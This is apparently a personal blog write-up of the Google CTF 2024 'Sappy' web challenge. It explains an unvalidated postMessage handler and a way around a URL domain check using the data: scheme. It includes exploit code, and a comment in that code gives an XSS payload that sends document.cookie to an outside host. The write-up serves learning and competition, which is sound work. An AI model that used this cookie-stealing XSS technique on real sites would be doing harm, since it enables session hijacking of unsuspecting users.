Google CTF 2024 | Sappy (Web Challenge)

July 6, 2024
I am a beginner programmer, eager to share my JavaScript journey with the world!

Introduction

I had the pleasure of joining @omerye and @guyg for this challenge. Each of us picked a task, and I found myself diving much deeper into mine than I ever anticipated.

Upon opening the website, it seemed simple enough: a clean layout with four buttons, each offering a JavaScript tip. How wrong could a programmer be? As is often the case with these challenges, appearances were deceiving.

The website included a form where you could input a URL, which an "admin" bot would then visit. Theoretically, if we could exploit an XSS vulnerability, our plan would be:

  • Submit our URL (e.g., attacker.com).
  • Have the bot browse our URL.
  • Programmatically open a pop-up window to (sappy.com).
  • Exploit an XSS vulnerability to execute JavaScript in the context of sappy.com.
  • The bot, with the flag in a cookie from sappy.com, would then report the flag's value to our server.

Hints / Problematic Signs

  • The use of iframes for reactive content.
  • Communication between the window and iframe using `PostMessage` without validating the origin.
  • Host validation in the code was overly complicated, raising suspicions.

Red Herrings

  • The programmer's tips were unrelated to the challenge.
  • The backend, also written in JavaScript, had awkward checks that turned out to be irrelevant.
  • Missing files in the docker image build process were deliberate but held no useful information.

Solution

The website had an event listener, which we identified as the main entry point for our attack. Here are the critical observations:

  • No check on `event.origin`.
  • If we could get the `render` message to call `fetch` with a `url` value we control, our response would be injected as HTML, leading to a possible XSS.
  • `buildUrl` function validated the URL, presenting the main obstacle.

Here's the relevant code snippet:

window.addEventListener(
    "message",
    async (event) => {
            let data = event.data;
            if (typeof data !== "string") return;
            data = JSON.parse(data);
            const method = data.method;

            switch (method) {
                case "initialize": {
                    if (!data.host) return;
                    API.host = data.host;
                    break;
                }

                case "render": {
                    if (typeof data.page !== "string") return;
                    const url = buildUrl({
                        host: API.host,
                        page: data.page,
                    });
                    const resp = await fetch(url);
                    if (resp.status !== 200) {
                        console.error("something went wrong");
                        return;
                    }
                    const json = await resp.json();
                    if (typeof json.html === "string") {
                        output.innerHTML = json.html;
                    }
                    break;
                }
            }
        },
        false
);

Here's the `buildUrl` function:

goog.module("sap");

const Uri = goog.require("goog.Uri");

function getHost(options) {
    if (!options.host) {
        const u = Uri.parse(document.location);
        return u.scheme + "://sappy-web.2024.ctfcompetition.com";
    }
    return validate(options.host);
}

function validate(host) {
    const h = Uri.parse(host);
    if (h hasQuery()) {
        throw "invalid host";
    }
    if (h.getDomain() !== "sappy-web.2024.ctfcompetition.com") {
        throw "invalid host";
    }
    return host;
}

function buildUrl(options) {
    return getHost(options) + "/sap/" + options.page;
}

Exploitation Strategy

Given the flexibility to submit any scheme, I explored options like blob://, javascript:, and data: schemes, finally settling on the data: scheme. After reading other write-ups, I particularly appreciated Zimzi's explanation (googleCTF 2024 sappy) of how the Closure Library's domain check failed.

In short, when using the data: scheme, the host is validated as if it were a regular URL, but the browser parses it as a media type. Because the response is consumed by a fetch call, any media type would work. Thus, the final URL would be data://sappy-web.2024.ctfcompetition.com/sap/;base64,{payload}.

w = window.open('sappy-web.2024.ctfcompetition.com')

// Configure our host to bypass the `buildUrl` checks
w.postMessage(JSON.stringify({
    method: "initialize",
    host: "data://sappy-web.2024.ctfcompetition.com"
}), targetOrigin);

// Inject JavaScript via a base64-encoded payload
w.postMessage(JSON.stringify({
    method: "render",
    page: ';base64,{{.Payload}}', // <img src=x onerror=window.location=https://me.com/?a=document.cookie>
}), targetOrigin);

Conclusion

This challenge was a thrilling dive into the nuances of web security, specifically XSS and the subtleties of iframe communication. I spent a significant amount of time trying to understand why my exploit wasn't working.

With some help, I discovered that you cannot use iframes to leak cookies; instead, you need to use window.open. This is because cookies, by default, have SameSite=Lax, which makes them unavailable in iframes. Using window.open ensures that the cookies are accessible to the Google CTF bot.

Happy hacking!